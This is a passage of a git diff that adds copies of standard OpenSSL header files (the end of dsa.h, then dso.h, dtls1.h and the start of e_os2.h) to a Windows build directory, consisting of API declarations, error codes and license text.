BIGNUM *r; /* Signing pre-calc */ + + int flags; + /* Normally used to cache montgomery values */ + BN_MONT_CTX *method_mont_p; + int references; + CRYPTO_EX_DATA ex_data; + const DSA_METHOD *meth; + /* functional reference if 'meth' is ENGINE-provided */ + ENGINE *engine; + }; + +#define DSAparams_dup(x) ASN1_dup_of_const(DSA,i2d_DSAparams,d2i_DSAparams,x) +#define d2i_DSAparams_fp(fp,x) (DSA *)ASN1_d2i_fp((char *(*)())DSA_new, \ + (char *(*)())d2i_DSAparams,(fp),(unsigned char **)(x)) +#define i2d_DSAparams_fp(fp,x) ASN1_i2d_fp(i2d_DSAparams,(fp), \ + (unsigned char *)(x)) +#define d2i_DSAparams_bio(bp,x) ASN1_d2i_bio_of(DSA,DSA_new,d2i_DSAparams,bp,x) +#define i2d_DSAparams_bio(bp,x) ASN1_i2d_bio_of_const(DSA,i2d_DSAparams,bp,x) + + +DSA_SIG * DSA_SIG_new(void); +void DSA_SIG_free(DSA_SIG *a); +int i2d_DSA_SIG(const DSA_SIG *a, unsigned char **pp); +DSA_SIG * d2i_DSA_SIG(DSA_SIG **v, const unsigned char **pp, long length); + +DSA_SIG * DSA_do_sign(const unsigned char *dgst,int dlen,DSA *dsa); +int DSA_do_verify(const unsigned char *dgst,int dgst_len, + DSA_SIG *sig,DSA *dsa); + +const DSA_METHOD *DSA_OpenSSL(void); + +void DSA_set_default_method(const DSA_METHOD *); +const DSA_METHOD *DSA_get_default_method(void); +int DSA_set_method(DSA *dsa, const DSA_METHOD *); + +#ifdef OPENSSL_FIPS +DSA * FIPS_dsa_new(void); +void FIPS_dsa_free (DSA *r); +#endif + +DSA * DSA_new(void); +DSA * DSA_new_method(ENGINE *engine); +void DSA_free (DSA *r); +/* "up" the DSA object's reference count */ +int DSA_up_ref(DSA *r); +int DSA_size(const DSA *); + /* next 4 return -1 on error */ +int DSA_sign_setup( DSA *dsa,BN_CTX *ctx_in,BIGNUM **kinvp,BIGNUM **rp); +int DSA_sign(int type,const unsigned char *dgst,int dlen, + unsigned char *sig, unsigned int *siglen, DSA *dsa); +int DSA_verify(int type,const unsigned char *dgst,int dgst_len, + const unsigned char *sigbuf, int siglen, DSA *dsa); +int DSA_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int DSA_set_ex_data(DSA *d, int idx, void *arg); +void *DSA_get_ex_data(DSA *d, int idx); + +DSA * d2i_DSAPublicKey(DSA **a, const unsigned char **pp, long length); +DSA * d2i_DSAPrivateKey(DSA **a, const unsigned char **pp, long length); +DSA * d2i_DSAparams(DSA **a, const unsigned char **pp, long length); + +/* Deprecated version */ +#ifndef OPENSSL_NO_DEPRECATED +DSA * DSA_generate_parameters(int bits, + unsigned char *seed,int seed_len, + int *counter_ret, unsigned long *h_ret,void + (*callback)(int, int, void *),void *cb_arg); +#endif /* !defined(OPENSSL_NO_DEPRECATED) */ + +/* New version */ +int DSA_generate_parameters_ex(DSA *dsa, int bits, + unsigned char *seed,int seed_len, + int *counter_ret, unsigned long *h_ret, BN_GENCB *cb); + +int DSA_generate_key(DSA *a); +int i2d_DSAPublicKey(const DSA *a, unsigned char **pp); +int i2d_DSAPrivateKey(const DSA *a, unsigned char **pp); +int i2d_DSAparams(const DSA *a,unsigned char **pp); + +#ifndef OPENSSL_NO_BIO +int DSAparams_print(BIO *bp, const DSA *x); +int DSA_print(BIO *bp, const DSA *x, int off); +#endif +#ifndef OPENSSL_NO_FP_API +int DSAparams_print_fp(FILE *fp, const DSA *x); +int DSA_print_fp(FILE *bp, const DSA *x, int off); +#endif + +#define DSS_prime_checks 50 +/* Primality test according to FIPS PUB 186[-1], Appendix 2.1: + * 50 rounds of Rabin-Miller */ +#define DSA_is_prime(n, callback, cb_arg) \ + BN_is_prime(n, DSS_prime_checks, callback, NULL, cb_arg) + +#ifndef OPENSSL_NO_DH +/* Convert DSA structure (key or just parameters) into DH structure + * (be careful to avoid small subgroup attacks when using this!) */ +DH *DSA_dup_DH(const DSA *r); +#endif + +#ifdef OPENSSL_FIPS +int FIPS_dsa_sig_encode(unsigned char *out, DSA_SIG *sig); +int FIPS_dsa_sig_decode(DSA_SIG *sig, const unsigned char *in, int inlen); +#endif + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_DSA_strings(void); + +/* Error codes for the DSA functions. */ + +/* Function codes. */ +#define DSA_F_D2I_DSA_SIG 110 +#define DSA_F_DSAPARAMS_PRINT 100 +#define DSA_F_DSAPARAMS_PRINT_FP 101 +#define DSA_F_DSA_BUILTIN_KEYGEN 119 +#define DSA_F_DSA_BUILTIN_PARAMGEN 118 +#define DSA_F_DSA_DO_SIGN 112 +#define DSA_F_DSA_DO_VERIFY 113 +#define DSA_F_DSA_GENERATE_PARAMETERS 117 +#define DSA_F_DSA_NEW_METHOD 103 +#define DSA_F_DSA_PRINT 104 +#define DSA_F_DSA_PRINT_FP 105 +#define DSA_F_DSA_SET_DEFAULT_METHOD 115 +#define DSA_F_DSA_SET_METHOD 116 +#define DSA_F_DSA_SIGN 106 +#define DSA_F_DSA_SIGN_SETUP 107 +#define DSA_F_DSA_SIG_NEW 109 +#define DSA_F_DSA_VERIFY 108 +#define DSA_F_I2D_DSA_SIG 111 +#define DSA_F_SIG_CB 114 + +/* Reason codes. */ +#define DSA_R_BAD_Q_VALUE 102 +#define DSA_R_DATA_TOO_LARGE_FOR_KEY_SIZE 100 +#define DSA_R_KEY_SIZE_TOO_SMALL 106 +#define DSA_R_MISSING_PARAMETERS 101 +#define DSA_R_MODULUS_TOO_LARGE 103 +#define DSA_R_NON_FIPS_METHOD 104 +#define DSA_R_OPERATION_NOT_ALLOWED_IN_FIPS_MODE 105 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/dso.h b/winstuff/openssl/dso.h new file mode 100644 index 0000000..3e51913 --- /dev/null +++ b/winstuff/openssl/dso.h @@ -0,0 +1,368 @@ +/* dso.h -*- mode:C; c-file-style: "eay" -*- */ +/* Written by Geoff Thorpe (geoff@geoffthorpe.net) for the OpenSSL + * project 2000. + */ +/* ==================================================================== + * Copyright (c) 2000 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * licensing@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_DSO_H +#define HEADER_DSO_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* These values are used as commands to DSO_ctrl() */ +#define DSO_CTRL_GET_FLAGS 1 +#define DSO_CTRL_SET_FLAGS 2 +#define DSO_CTRL_OR_FLAGS 3 + +/* By default, DSO_load() will translate the provided filename into a form + * typical for the platform (more specifically the DSO_METHOD) using the + * dso_name_converter function of the method. Eg. win32 will transform "blah" + * into "blah.dll", and dlfcn will transform it into "libblah.so". The + * behaviour can be overriden by setting the name_converter callback in the DSO + * object (using DSO_set_name_converter()). This callback could even utilise + * the DSO_METHOD's converter too if it only wants to override behaviour for + * one or two possible DSO methods. However, the following flag can be set in a + * DSO to prevent *any* native name-translation at all - eg. if the caller has + * prompted the user for a path to a driver library so the filename should be + * interpreted as-is. */ +#define DSO_FLAG_NO_NAME_TRANSLATION 0x01 +/* An extra flag to give if only the extension should be added as + * translation. This is obviously only of importance on Unix and + * other operating systems where the translation also may prefix + * the name with something, like 'lib', and ignored everywhere else. + * This flag is also ignored if DSO_FLAG_NO_NAME_TRANSLATION is used + * at the same time. */ +#define DSO_FLAG_NAME_TRANSLATION_EXT_ONLY 0x02 + +/* The following flag controls the translation of symbol names to upper + * case. This is currently only being implemented for OpenVMS. + */ +#define DSO_FLAG_UPCASE_SYMBOL 0x10 + +/* This flag loads the library with public symbols. + * Meaning: The exported symbols of this library are public + * to all libraries loaded after this library. + * At the moment only implemented in unix. + */ +#define DSO_FLAG_GLOBAL_SYMBOLS 0x20 + + +typedef void (*DSO_FUNC_TYPE)(void); + +typedef struct dso_st DSO; + +/* The function prototype used for method functions (or caller-provided + * callbacks) that transform filenames. They are passed a DSO structure pointer + * (or NULL if they are to be used independantly of a DSO object) and a + * filename to transform. They should either return NULL (if there is an error + * condition) or a newly allocated string containing the transformed form that + * the caller will need to free with OPENSSL_free() when done. */ +typedef char* (*DSO_NAME_CONVERTER_FUNC)(DSO *, const char *); +/* The function prototype used for method functions (or caller-provided + * callbacks) that merge two file specifications. They are passed a + * DSO structure pointer (or NULL if they are to be used independantly of + * a DSO object) and two file specifications to merge. They should + * either return NULL (if there is an error condition) or a newly allocated + * string containing the result of merging that the caller will need + * to free with OPENSSL_free() when done. + * Here, merging means that bits and pieces are taken from each of the + * file specifications and added together in whatever fashion that is + * sensible for the DSO method in question. The only rule that really + * applies is that if the two specification contain pieces of the same + * type, the copy from the first string takes priority. One could see + * it as the first specification is the one given by the user and the + * second being a bunch of defaults to add on if they're missing in the + * first. */ +typedef char* (*DSO_MERGER_FUNC)(DSO *, const char *, const char *); + +typedef struct dso_meth_st + { + const char *name; + /* Loads a shared library, NB: new DSO_METHODs must ensure that a + * successful load populates the loaded_filename field, and likewise a + * successful unload OPENSSL_frees and NULLs it out. */ + int (*dso_load)(DSO *dso); + /* Unloads a shared library */ + int (*dso_unload)(DSO *dso); + /* Binds a variable */ + void *(*dso_bind_var)(DSO *dso, const char *symname); + /* Binds a function - assumes a return type of DSO_FUNC_TYPE. + * This should be cast to the real function prototype by the + * caller. Platforms that don't have compatible representations + * for different prototypes (this is possible within ANSI C) + * are highly unlikely to have shared libraries at all, let + * alone a DSO_METHOD implemented for them. */ + DSO_FUNC_TYPE (*dso_bind_func)(DSO *dso, const char *symname); + +/* I don't think this would actually be used in any circumstances. */ +#if 0 + /* Unbinds a variable */ + int (*dso_unbind_var)(DSO *dso, char *symname, void *symptr); + /* Unbinds a function */ + int (*dso_unbind_func)(DSO *dso, char *symname, DSO_FUNC_TYPE symptr); +#endif + /* The generic (yuck) "ctrl()" function. NB: Negative return + * values (rather than zero) indicate errors. */ + long (*dso_ctrl)(DSO *dso, int cmd, long larg, void *parg); + /* The default DSO_METHOD-specific function for converting filenames to + * a canonical native form. */ + DSO_NAME_CONVERTER_FUNC dso_name_converter; + /* The default DSO_METHOD-specific function for converting filenames to + * a canonical native form. */ + DSO_MERGER_FUNC dso_merger; + + /* [De]Initialisation handlers. */ + int (*init)(DSO *dso); + int (*finish)(DSO *dso); + } DSO_METHOD; + +/**********************************************************************/ +/* The low-level handle type used to refer to a loaded shared library */ + +struct dso_st + { + DSO_METHOD *meth; + /* Standard dlopen uses a (void *). Win32 uses a HANDLE. VMS + * doesn't use anything but will need to cache the filename + * for use in the dso_bind handler. All in all, let each + * method control its own destiny. "Handles" and such go in + * a STACK. */ + STACK *meth_data; + int references; + int flags; + /* For use by applications etc ... use this for your bits'n'pieces, + * don't touch meth_data! */ + CRYPTO_EX_DATA ex_data; + /* If this callback function pointer is set to non-NULL, then it will + * be used in DSO_load() in place of meth->dso_name_converter. NB: This + * should normally set using DSO_set_name_converter(). */ + DSO_NAME_CONVERTER_FUNC name_converter; + /* If this callback function pointer is set to non-NULL, then it will + * be used in DSO_load() in place of meth->dso_merger. NB: This + * should normally set using DSO_set_merger(). */ + DSO_MERGER_FUNC merger; + /* This is populated with (a copy of) the platform-independant + * filename used for this DSO. */ + char *filename; + /* This is populated with (a copy of) the translated filename by which + * the DSO was actually loaded. It is NULL iff the DSO is not currently + * loaded. NB: This is here because the filename translation process + * may involve a callback being invoked more than once not only to + * convert to a platform-specific form, but also to try different + * filenames in the process of trying to perform a load. As such, this + * variable can be used to indicate (a) whether this DSO structure + * corresponds to a loaded library or not, and (b) the filename with + * which it was actually loaded. */ + char *loaded_filename; + }; + + +DSO * DSO_new(void); +DSO * DSO_new_method(DSO_METHOD *method); +int DSO_free(DSO *dso); +int DSO_flags(DSO *dso); +int DSO_up_ref(DSO *dso); +long DSO_ctrl(DSO *dso, int cmd, long larg, void *parg); + +/* This function sets the DSO's name_converter callback. If it is non-NULL, + * then it will be used instead of the associated DSO_METHOD's function. If + * oldcb is non-NULL then it is set to the function pointer value being + * replaced. Return value is non-zero for success. */ +int DSO_set_name_converter(DSO *dso, DSO_NAME_CONVERTER_FUNC cb, + DSO_NAME_CONVERTER_FUNC *oldcb); +/* These functions can be used to get/set the platform-independant filename + * used for a DSO. NB: set will fail if the DSO is already loaded. */ +const char *DSO_get_filename(DSO *dso); +int DSO_set_filename(DSO *dso, const char *filename); +/* This function will invoke the DSO's name_converter callback to translate a + * filename, or if the callback isn't set it will instead use the DSO_METHOD's + * converter. If "filename" is NULL, the "filename" in the DSO itself will be + * used. If the DSO_FLAG_NO_NAME_TRANSLATION flag is set, then the filename is + * simply duplicated. NB: This function is usually called from within a + * DSO_METHOD during the processing of a DSO_load() call, and is exposed so that + * caller-created DSO_METHODs can do the same thing. A non-NULL return value + * will need to be OPENSSL_free()'d. */ +char *DSO_convert_filename(DSO *dso, const char *filename); +/* This function will invoke the DSO's merger callback to merge two file + * specifications, or if the callback isn't set it will instead use the + * DSO_METHOD's merger. A non-NULL return value will need to be + * OPENSSL_free()'d. */ +char *DSO_merge(DSO *dso, const char *filespec1, const char *filespec2); +/* If the DSO is currently loaded, this returns the filename that it was loaded + * under, otherwise it returns NULL. So it is also useful as a test as to + * whether the DSO is currently loaded. NB: This will not necessarily return + * the same value as DSO_convert_filename(dso, dso->filename), because the + * DSO_METHOD's load function may have tried a variety of filenames (with + * and/or without the aid of the converters) before settling on the one it + * actually loaded. */ +const char *DSO_get_loaded_filename(DSO *dso); + +void DSO_set_default_method(DSO_METHOD *meth); +DSO_METHOD *DSO_get_default_method(void); +DSO_METHOD *DSO_get_method(DSO *dso); +DSO_METHOD *DSO_set_method(DSO *dso, DSO_METHOD *meth); + +/* The all-singing all-dancing load function, you normally pass NULL + * for the first and third parameters. Use DSO_up and DSO_free for + * subsequent reference count handling. Any flags passed in will be set + * in the constructed DSO after its init() function but before the + * load operation. If 'dso' is non-NULL, 'flags' is ignored. */ +DSO *DSO_load(DSO *dso, const char *filename, DSO_METHOD *meth, int flags); + +/* This function binds to a variable inside a shared library. */ +void *DSO_bind_var(DSO *dso, const char *symname); + +/* This function binds to a function inside a shared library. */ +DSO_FUNC_TYPE DSO_bind_func(DSO *dso, const char *symname); + +/* This method is the default, but will beg, borrow, or steal whatever + * method should be the default on any particular platform (including + * DSO_METH_null() if necessary). */ +DSO_METHOD *DSO_METHOD_openssl(void); + +/* This method is defined for all platforms - if a platform has no + * DSO support then this will be the only method! */ +DSO_METHOD *DSO_METHOD_null(void); + +/* If DSO_DLFCN is defined, the standard dlfcn.h-style functions + * (dlopen, dlclose, dlsym, etc) will be used and incorporated into + * this method. If not, this method will return NULL. */ +DSO_METHOD *DSO_METHOD_dlfcn(void); + +/* If DSO_DL is defined, the standard dl.h-style functions (shl_load, + * shl_unload, shl_findsym, etc) will be used and incorporated into + * this method. If not, this method will return NULL. */ +DSO_METHOD *DSO_METHOD_dl(void); + +/* If WIN32 is defined, use DLLs. If not, return NULL. */ +DSO_METHOD *DSO_METHOD_win32(void); + +/* If VMS is defined, use shared images. If not, return NULL. */ +DSO_METHOD *DSO_METHOD_vms(void); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_DSO_strings(void); + +/* Error codes for the DSO functions. */ + +/* Function codes. */ +#define DSO_F_DLFCN_BIND_FUNC 100 +#define DSO_F_DLFCN_BIND_VAR 101 +#define DSO_F_DLFCN_LOAD 102 +#define DSO_F_DLFCN_MERGER 130 +#define DSO_F_DLFCN_NAME_CONVERTER 123 +#define DSO_F_DLFCN_UNLOAD 103 +#define DSO_F_DL_BIND_FUNC 104 +#define DSO_F_DL_BIND_VAR 105 +#define DSO_F_DL_LOAD 106 +#define DSO_F_DL_MERGER 131 +#define DSO_F_DL_NAME_CONVERTER 124 +#define DSO_F_DL_UNLOAD 107 +#define DSO_F_DSO_BIND_FUNC 108 +#define DSO_F_DSO_BIND_VAR 109 +#define DSO_F_DSO_CONVERT_FILENAME 126 +#define DSO_F_DSO_CTRL 110 +#define DSO_F_DSO_FREE 111 +#define DSO_F_DSO_GET_FILENAME 127 +#define DSO_F_DSO_GET_LOADED_FILENAME 128 +#define DSO_F_DSO_LOAD 112 +#define DSO_F_DSO_MERGE 132 +#define DSO_F_DSO_NEW_METHOD 113 +#define DSO_F_DSO_SET_FILENAME 129 +#define DSO_F_DSO_SET_NAME_CONVERTER 122 +#define DSO_F_DSO_UP_REF 114 +#define DSO_F_VMS_BIND_SYM 115 +#define DSO_F_VMS_LOAD 116 +#define DSO_F_VMS_MERGER 133 +#define DSO_F_VMS_UNLOAD 117 +#define DSO_F_WIN32_BIND_FUNC 118 +#define DSO_F_WIN32_BIND_VAR 119 +#define DSO_F_WIN32_JOINER 135 +#define DSO_F_WIN32_LOAD 120 +#define DSO_F_WIN32_MERGER 134 +#define DSO_F_WIN32_NAME_CONVERTER 125 +#define DSO_F_WIN32_SPLITTER 136 +#define DSO_F_WIN32_UNLOAD 121 + +/* Reason codes. */ +#define DSO_R_CTRL_FAILED 100 +#define DSO_R_DSO_ALREADY_LOADED 110 +#define DSO_R_EMPTY_FILE_STRUCTURE 113 +#define DSO_R_FAILURE 114 +#define DSO_R_FILENAME_TOO_BIG 101 +#define DSO_R_FINISH_FAILED 102 +#define DSO_R_INCORRECT_FILE_SYNTAX 115 +#define DSO_R_LOAD_FAILED 103 +#define DSO_R_NAME_TRANSLATION_FAILED 109 +#define DSO_R_NO_FILENAME 111 +#define DSO_R_NO_FILE_SPECIFICATION 116 +#define DSO_R_NULL_HANDLE 104 +#define DSO_R_SET_FILENAME_FAILED 112 +#define DSO_R_STACK_ERROR 105 +#define DSO_R_SYM_FAILURE 106 +#define DSO_R_UNLOAD_FAILED 107 +#define DSO_R_UNSUPPORTED 108 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/dtls1.h b/winstuff/openssl/dtls1.h new file mode 100644 index 0000000..f159d37 --- /dev/null +++ b/winstuff/openssl/dtls1.h @@ -0,0 +1,218 @@ +/* ssl/dtls1.h */ +/* + * DTLS implementation written by Nagendra Modadugu + * (nagendra@cs.stanford.edu) for the OpenSSL project 2005. + */ +/* ==================================================================== + * Copyright (c) 1999-2005 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_DTLS1_H +#define HEADER_DTLS1_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define DTLS1_VERSION 0xFEFF +#define DTLS1_BAD_VER 0x0100 + +#if 0 +/* this alert description is not specified anywhere... */ +#define DTLS1_AD_MISSING_HANDSHAKE_MESSAGE 110 +#endif + +/* lengths of messages */ +#define DTLS1_COOKIE_LENGTH 32 + +#define DTLS1_RT_HEADER_LENGTH 13 + +#define DTLS1_HM_HEADER_LENGTH 12 + +#define DTLS1_HM_BAD_FRAGMENT -2 +#define DTLS1_HM_FRAGMENT_RETRY -3 + +#define DTLS1_CCS_HEADER_LENGTH 1 + +#ifdef DTLS1_AD_MISSING_HANDSHAKE_MESSAGE +#define DTLS1_AL_HEADER_LENGTH 7 +#else +#define DTLS1_AL_HEADER_LENGTH 2 +#endif + + +typedef struct dtls1_bitmap_st + { + PQ_64BIT map; + unsigned long length; /* sizeof the bitmap in bits */ + PQ_64BIT max_seq_num; /* max record number seen so far */ + } DTLS1_BITMAP; + +struct hm_header_st + { + unsigned char type; + unsigned long msg_len; + unsigned short seq; + unsigned long frag_off; + unsigned long frag_len; + unsigned int is_ccs; + }; + +struct ccs_header_st + { + unsigned char type; + unsigned short seq; + }; + +struct dtls1_timeout_st + { + /* Number of read timeouts so far */ + unsigned int read_timeouts; + + /* Number of write timeouts so far */ + unsigned int write_timeouts; + + /* Number of alerts received so far */ + unsigned int num_alerts; + }; + +typedef struct record_pqueue_st + { + unsigned short epoch; + pqueue q; + } record_pqueue; + +typedef struct hm_fragment_st + { + struct hm_header_st msg_header; + unsigned char *fragment; + } hm_fragment; + +typedef struct dtls1_state_st + { + unsigned int send_cookie; + unsigned char cookie[DTLS1_COOKIE_LENGTH]; + unsigned char rcvd_cookie[DTLS1_COOKIE_LENGTH]; + unsigned int cookie_len; + + /* + * The current data and handshake epoch. This is initially + * undefined, and starts at zero once the initial handshake is + * completed + */ + unsigned short r_epoch; + unsigned short w_epoch; + + /* records being received in the current epoch */ + DTLS1_BITMAP bitmap; + + /* renegotiation starts a new set of sequence numbers */ + DTLS1_BITMAP next_bitmap; + + /* handshake message numbers */ + unsigned short handshake_write_seq; + unsigned short next_handshake_write_seq; + + unsigned short handshake_read_seq; + + /* Received handshake records (processed and unprocessed) */ + record_pqueue unprocessed_rcds; + record_pqueue processed_rcds; + + /* Buffered handshake messages */ + pqueue buffered_messages; + + /* Buffered (sent) handshake records */ + pqueue sent_messages; + + unsigned int mtu; /* max wire packet size */ + + struct hm_header_st w_msg_hdr; + struct hm_header_st r_msg_hdr; + + struct dtls1_timeout_st timeout; + + /* storage for Alert/Handshake protocol data received but not + * yet processed by ssl3_read_bytes: */ + unsigned char alert_fragment[DTLS1_AL_HEADER_LENGTH]; + unsigned int alert_fragment_len; + unsigned char handshake_fragment[DTLS1_HM_HEADER_LENGTH]; + unsigned int handshake_fragment_len; + + unsigned int retransmitting; + + } DTLS1_STATE; + +typedef struct dtls1_record_data_st + { + unsigned char *packet; + unsigned int packet_length; + SSL3_BUFFER rbuf; + SSL3_RECORD rrec; + } DTLS1_RECORD_DATA; + + +/* Timeout multipliers (timeout slice is defined in apps/timeouts.h */ +#define DTLS1_TMO_READ_COUNT 2 +#define DTLS1_TMO_WRITE_COUNT 2 + +#define DTLS1_TMO_ALERT_COUNT 12 + +#ifdef __cplusplus +} +#endif +#endif + diff --git a/winstuff/openssl/e_os2.h b/winstuff/openssl/e_os2.h new file mode 100644 index 0000000..9da0b65 --- /dev/null +++ b/winstuff/openssl/e_os2.h @@ -0,0 +1,279 @@ +/* e_os2.h */ +/* ==================================================================== + * Copyright (c) 1998-2000 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#include + +#ifndef HEADER_E_OS2_H +#define HEADER_E_OS2_H + +#ifdef __cplusplus +extern "C" { +#endif + +/****************************************************************************** + * Detect operating systems. This probably needs completing. + * The result is that at least one OPENSSL_SYS_os macro should be defined. + * However, if none is defined, Unix is assumed. + **/ + +#define OPENSSL_SYS_UNIX + +/* ----------------------- Macintosh, before MacOS X ----------------------- */ +#if defined(__MWERKS__) && defined(macintosh) || defined(OPENSSL_SYSNAME_MAC) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_MACINTOSH_CLASSIC +#endif + +/* ----------------------- NetWare ----------------------------------------- */ +#if defined(NETWARE) || defined(OPENSSL_SYSNAME_NETWARE) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_NETWARE +#endif + +/* ---------------------- Microsoft operating systems ---------------------- */ + +/* Note that MSDOS actually denotes 32-bit environments running on top of + MS-DOS, such as DJGPP one. */ +#if defined(OPENSSL_SYSNAME_MSDOS) +# undef OPENSSL_SYS_UNIX +# define OPENSSL_SYS_MSDOS +#endif + +/* For 32 bit environment, there seems to be the CygWin environment and then + all the others that try to do the same thing Microsoft does... */ +#if 